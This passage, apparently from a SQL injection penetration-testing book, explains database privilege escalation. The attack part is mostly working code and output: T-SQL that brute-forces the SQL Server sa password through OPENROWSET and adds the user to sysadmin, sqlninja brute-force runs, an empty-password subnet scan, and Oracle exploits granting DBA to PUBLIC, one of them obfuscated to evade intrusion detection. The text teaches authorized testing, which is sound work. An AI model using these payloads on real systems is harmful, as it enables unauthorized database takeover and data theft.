All modern DBMSs provide
their administrators with very granular control over the actions that
users can perform. You can carefully manage and control access to the
stored information by giving each user very specific rights, such as the
ability to access only specific databases and perform only specific
actions on it. Maybe the back-end DBMS that you are attacking has
several databases, but the user who performs your queries might have
access to only one of them, which might not contain the most interesting
information. Or maybe
your user has only read access to the data, but the aim of your test is
to check whether data can be modified in an unauthorized manner.
In other words, you have to
deal with the fact that the user performing the queries is just a
regular user, whose privileges are far lower compared to the DBA's.
Due to the limitations of
regular users, and to fully unleash the potential of several of the
attacks you have seen so far, you will need to obtain access as an
administrator. Luckily for us, in several cases it is possible to obtain
these elevated privileges.
SQL Server
One of an attacker's best friends when the target is Microsoft SQL Server is the OPENROWSET command. OPENROWSET
is used on SQL Server to perform a one-time connection to a remote OLE
DB data source (e.g., another SQL server). A DBA can use it, for
instance, to retrieve data that resides on a remote database, as an
alternative to permanently “linking” the two databases, which is better
suited to cases when the data exchange needs to be performed on a
regular basis. A typical way to call OPENROWSET is as follows:
SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=10.0.2.2;
uid=foo; pwd=password', 'SELECT column1 FROM tableA')
Here we connected to the SQL server at the address 10.0.2.2 as user foo, and we ran the query select column1 from tableA, whose results will be transferred back and returned by the outermost query. Note that ‘foo’ is a user of the database at address 10.0.2.2 and not of the database where OPENROWSET is first executed. Note also that to successfully perform the query as user ‘foo’ we must successfully authenticate, providing the correct password.
OPENROWSET has a number of applications in SQL injection attacks, and in this case we can use it to brute-force the password of the sa account. There are three important bits to remember here:
For the connection to be successful, OPENROWSET must provide credentials that are valid on the database on which the connection is performed.
OPENROWSET
can be used not only to connect to a remote database, but also to
perform a local connection, in which case the query is performed with
the privileges of the user specified in the OPENROWSET call.
On SQL Server 2000, OPENROWSET can be called by all users. On SQL Server 2005, it is disabled by default.
This means that on SQL Server 2000 you can use OPENROWSET to brute-force the sa password and escalate your privileges. For example, take a look at the following query:
SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;
Address=;uid=sa;pwd=foo', 'select 1')
f foo is the correct password, the query will run and return 1, whereas if the password is incorrect, you will receive a message such as the following:
Login failed for user 'sa'.
It seems that you now have a way to brute-force the sa
password! Fire off your favorite word list and keep your fingers
crossed. If you find the correct password, you can easily escalate
privileges by adding your user (which you can find with system_user) to the sysadmin group using the sp_addsrvrolemember procedure, which takes as parameters a user and a group to add the user to (in this case, obviously, sysadmin):
SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;
Address=;uid=sa;pwd=passw0rd', 'SELECT 1; EXEC
master.dbo.sp_addsrvrolemember ''appdbuser'',''sysadmin''')
The SELECT 1 in the inner query is necessary because OPENROWSET expects to return at least one column. To retrieve the value of system_user,
you can use one of the techniques that you saw earlier (e.g., casting
its value to a numeric variable to trigger an error) or, if the
application does not return enough information directly.
Alternatively, you can inject the following query, which will perform
the whole process in only one request, by constructing a string @q containing the OPENROWSET query and the correct username, and then executing that query by passing @q to the xp_execresultset extended procedure, which on SQL Server 2000 can be called by all users.
DECLARE @q nvarchar(999);
SET @q = N'SELECT 1 FROM OPENROWSET(''SQLOLEDB'', ''Network=DBMSSOCN;
Address=;uid=sa;pwd=passw0rd'',''SELECT 1; EXEC
master.dbo.sp_addsrvrolemember '''''+system_user+''''',''''sysadmin'''''')';
EXEC master.dbo.xp_execresultset @q, N'master'
Warning
Remember that the sa
account works only if mixed authentication is enabled on the target SQL
server. When mixed authentication is used, both Windows users and local
SQL Server users (such as sa)
can authenticate to the database. However, if Windows-only
authentication is configured on the remote database server, only Windows
users will be able to access the database and the sa
account will not be available. You could technically attempt to
brute-force the password of a Windows user who has administrative access
(if you know the user's name), but you might block the account if a
lockout policy is in place, so proceed with caution in that case.
To
detect which of the two possible authentication modes is in place (and
therefore whether the attack can be attempted) you can inject the
following code:
select serverproperty('IsIntegratedSecurityOnly')
This query will return 1 if Windows-only authentication is in place, and 0 otherwise.
Of course, it would be
impractical to perform a brute-force attack by hand. Putting together a
script that does the job in an automated way is not a big task, but
there are already free tools out there that implement the whole process,
such as Bobcat, Burp Intruder, and sqlninja . We will use sqlninja (which you can download at http://sqlninja.sourceforge.net)
for an example of this attack. First we check whether we have
administrative privileges (the output has been reduced to the most
important parts):
icesurfer@nightblade ~ $ ./sqlninja -m fingerprint
Sqlninja rel. 0.2.3–r1
Copyright (C) 2006–2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file...........
[+] Target is: www.victim.com
What do you want to discover ?
0 – Database version (2000/2005)
1 – Database user
2 – Database user rights
3 – Whether xp_cmdshell is working
> 2
[+] Checking whether user is member of sysadmin server role…
You are not an administrator.
Sqlninja uses a WAITFOR DELAY
to check whether the current user is a member of the sysadmin group,
and the answer is negative. We therefore feed sqlninja with a word list
(the file wordlist.txt) and launch it in brute-force mode:
icesurfer@nightblade ~ $ ./sqlninja -m bruteforce -w wordlist.txt
Sqlninja rel. 0.2.3–r1
Copyright (C) 2006–2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file...........
[+] Target is: www.victim.com
[+] Wordlist has been specified: using dictionary-based bruteforce
[+] Bruteforcing the sa password. This might take a while
dba password is…: s3cr3t
bruteforce took 834 seconds
[+] Trying to add current user to sysadmin group
[+] Done! New connections will be run with administrative privileges!
Bingo!
It seems that sqlninja found the right password, and used it to add the
current user to the sysadmin group, as we can easily check by rerunning
sqlninja in fingerprint mode:
icesurfer@nightblade ~ $ ./sqlninja -m fingerprint
Sqlninja rel. 0.2.3–r1
Copyright (C) 2006–2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file...........
[+] Target is: 192.168.240.10
What do you want to discover ?
0 – Database version (2000/2005)
1 – Database user
2 – Database user rights
> 2
[+] Checking whether user is member of sysadmin server role…
You are an administrator !
It worked! Our user now is an administrator, which opens up a lot of new scenarios.
Using the Database's Own Resources to Brute-Force
The attack we just
discussed performs one request to the back-end database for each
candidate password. This means that a very large number of requests will
be performed, and this in turn means that a significant amount of
network resources will be needed with a large number of entries
appearing on the Web server and database server logs. However, this is
not the only way that a brute-force attack can be performed: Using a bit
of SQL magic, it is possible to inject a single query that
independently performs the whole brute-force attack. The concept was
first introduced by Chris Anley in his paper “(more) Advanced SQL
injection” back in 2002, and it was then implemented by Bobcat and
sqlninja.
Bobcat, available at www.northern-monkee.co.uk,
runs on Windows and uses a dictionary-based approach, injecting a query
that performs an out-of-band (OOB) connection to the attacker's
database server to fetch a table containing a list of candidate
passwords and then try them locally.
Sqlninja, when implementing
this concept, uses a pure brute-force approach, injecting a query that
tries every password that can be generated with a given charset and a
given length. Here is an example of an attack query used by sqlninja for
a password of two characters on SQL Server 2000:
declare @p nvarchar(99),@z nvarchar(10),@s nvarchar(99), @a
int, @b int, @q nvarchar (4000);
set @a=1; set @b=1;
set @s=N'abcdefghijklmnopqrstuvwxyz0123456789';
while @a<37 begin
while @b<37 begin
set @p=N''; -- We reset the candidate password;
set @z = substring(@s,@a,1); set @p=@p+@z;
set @z = substring(@s,@b,1); set @p=@p+@z;
set @q=N'select 1 from OPENROWSET(''SQLOLEDB'',
''Network=DBMSSOCN; Address=;uid=sa;pwd='+@p+N''',
''select 1; exec master.dbo.sp_addsrvrolemember
''''' + system_user + N''''', ''''sysadmin'''' '')';
exec master.dbo.xp_execresultset @q,N'master';
set @b=@b+1; end;
set @b=1; set @a=@a+1; end;
What happens here? We start storing our character set in the variable @s,
which in this case contains letters and numbers but could be extended
to other symbols (if it contains single quotes, the code will need to
make sure they are correctly escaped). Then we create two nested cycles,
controlled by the variables @a and @b
that work as pointers to the character set and are used to generate
each candidate password. When the candidate password is generated and
stored in the variable @p, OPENROWSET is called, trying to execute sp_addsrvrolemember to add the current user (system_user) to the administrative group (sysadmin). To avoid the query stopping in case of unsuccessful authentication of OPENROWSET, we store the query into the variable @q and execute it with xp_execresultset.
It
might look a bit complicated, but if the administrative password is not
very long it is a very effective way for an attacker to escalate his
privileges. Moreover, the brute-force attack is performed by using the
database server's own CPU resources, making it a very elegant way to
perform a privilege escalation.
However, be very
careful when using this technique against a production environment, as
it can easily push the CPU usage of the target system up to 100 percent
for the whole time, possibly decreasing the quality of services for
legitimate users.
|
As you have seen, OPENROWSET
is a very powerful and flexible command that can be abused in different
ways, from transferring data to the attacker's machine to attempting a
privilege escalation. This is not all, however: OPENROWSET can also be used to look for SQL Server installations that have weak passwords. Have a look at the following query:
SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=10.0.0.1;
uid=sa; pwd=', 'SELECT 1')
This query will attempt to authenticate to an SQL server at the address 10.0.0.1 as sa
using an empty password. It is quite easy to create a cycle that will
try such queries on all of the IP addresses of a network segment, saving
the results in a temporary table that you can extract at the end of the
process using one of the methods you have seen so far.
Privilege Escalation on Unpatched Servers
Even if OPENROWSET
is probably the most common privilege escalation vector on SQL Server,
it is not the only one: If your target database server is not fully
updated with the latest security patches, it might be vulnerable to one
or more well-known attacks.
Sometimes network
administrators do not have the resources to ensure that all the servers
on their networks are constantly updated. Other times, they simply lack
the awareness to do so. Yet other times, if the server is particularly
critical and the security fix has not been carefully tested in an
isolated environment, the update process could be kept on hold for days
or even weeks, leaving the attacker with a window of opportunity. In
these cases, a precise fingerprinting of the remote server is paramount
in determining which flaws might be present and whether they can be
safely exploited.
At the time of this
writing, the latest vulnerability affecting SQL Server 2000 and 2005
(but not SQL Server 2008) is a heap overflow found by Bernhard Mueller
in the sp_replwritetovarbin
stored procedure. Disclosed in December 2008, it enables you to run
arbitrary code with administrative privileges on the affected host;
exploit code was made publicly available shortly after the vulnerability
was published. Also at the time of this writing, no security fix had
yet been released, and the only workaround is to remove the vulnerable
stored procedure. You can exploit the vulnerability through SQL
injection by injecting a malicious query that calls sp_replwritetovarbin, overflowing the memory space and executing the
malicious shell code. However, a failed exploitation can cause a denial
of service (DoS) condition, so be careful if you attempt this attack!
More information about this vulnerability is available at www.securityfocus.com/bid/32710.
Oracle
Privilege escalation
via Web application SQL injection in Oracle is quite difficult because
most approaches for privilege escalation attacks require PL/SQL
injection, which is less common. If an attacker is lucky enough to find a
PL/SQL injection vulnerability, he can inject PL/SQL code to escalate
privileges and/or start operating system commands on the database
server.
One example not requiring PL/SQL injection uses a vulnerability found in the Oracle component mod_plsql.
The following URL shows a privilege escalation via the driload package
(found by Alexander Kornbrust). This package was not filtered by mod_plsql and allowed any Web user a privilege escalation by entering the following URL:
http://www.victim.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=
GRANT+DBA+TO+PUBLIC
Privilege
escalation on the SQL interface is much easier. Most privilege
escalation exploits (many available on milw0rm.com) use the following
concept:
Create
a payload which grants DBA privileges to the public role. This is less
obvious than granting DBA privileges to a specific user. This payload
will be injected into a vulnerable PL/SQL procedure in the next step.
CREATE OR REPLACE FUNCTION F1 return number
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
COMMIT;
RETURN 1;
END;
/
Inject the payload into a vulnerable package:
exec sys.kupw$WORKER.main('x','YY'' and 1=user12.f1 -- mytag12');
Revoke the DBA role from the public role:
The current session still has DBA privileges, but this will no longer be visible in the Oracle privilege tables.
One of the
disadvantages of this approach is the requirement of having the CREATE
PROCEDURE privilege. David Litchfield presented a solution to this
problem at the BlackHat DC conference. Instead of using a procedure, it
is possible to use a cursor. The exploit approach is identical; however,
the function is replaced by a cursor as follows:
The preceding code is replaced with the following:
and 1=dbms_sql.execute(1)
The complete exploit without using a procedure looks like this:
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,
'declare pragma autonomous_transaction;
begin execute immediate ''grant dba to public''; commit;end;',0);
sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute('||myc||')--');
END;
/
set role dba;
revoke dba from public;
Note that to
evade intrusion detection systems (IDSs) it is possible to encrypt the
payload of the exploit—say, encrypting “…grant dba to public…” as
follows:
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,translate('uzikpsz fsprjp pnmghgjgna_msphapimwgh) ozrwh zczinmz
wjjzuwpmz (rsphm uop mg fnokwi()igjjwm)zhu)',
'poiuztrewqlkjhgfdsamnbvcxy()=!','abcdefghijklmnopqrstuvwxyz'';:='),0);
sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute ('||myc||')--');
END;
/
set role dba;
revoke dba from public;